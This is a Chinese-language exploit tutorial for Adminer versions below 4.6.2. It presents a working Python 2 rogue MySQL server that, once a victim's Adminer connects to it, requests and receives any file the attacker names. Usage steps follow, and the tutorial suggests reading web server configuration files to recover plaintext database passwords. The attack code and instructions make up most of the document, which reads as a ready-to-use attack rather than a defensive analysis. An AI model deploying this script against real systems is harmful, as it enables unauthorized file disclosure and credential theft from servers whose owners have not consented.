利用条件
1.adminer(版本小于4.6.2)可以远程连接数据库, 2.或者可以使靶机服务器主动连接自己的伪造的mysql服务器
原理
攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。 攻击者就可以任意读取受害者的文件内容。,也就是A连接B的数据库,B可以伪造假的数据库服务读取A服务器上的文件。 所以基于adminer连接的数据库可以反向利用连接自己的恶意服务器,从而达到读取任意文件的目的。
演示:
先下载好adminer,直接放在根路径即可:(攻击的服务器有adminerWeb服务)
poc
攻击机要有mysql服务并且使用2.7的python环境,kali自带,mysql服务虽然要有但不要开启,否则会报端口占用的错误 把下面文件保存成py文件
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)
filename = sys.argv[1]
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", 3306))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
conn.sendall(
"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
logging.info(content)
conn.close()
使用方式:
直接跟上要读取的文件绝对路径,然后就会处于监听状态,注意不能够直接读取文件夹
若出现下面的报错,则需要把mysql的3306端口关闭:
在web页面服务器ip输入攻击机ip(kali的Ip)剩下的 随便输入:
发现出现报错的绝对路径,并成功在kali服务器上接收到文件内容:
目前这个方法暂时不能针对超级弱口令爆破,因为会连接重置。但是正常登录下也是可以读取到任意文件 所以可以读取web服务的默认配置文件,若对目录足够熟悉可以直接读取web服务配置数据库的文件获取明文密码:
通过命令框连接
若可以在服务端执行命令,也可以直接读取。密码随便输
|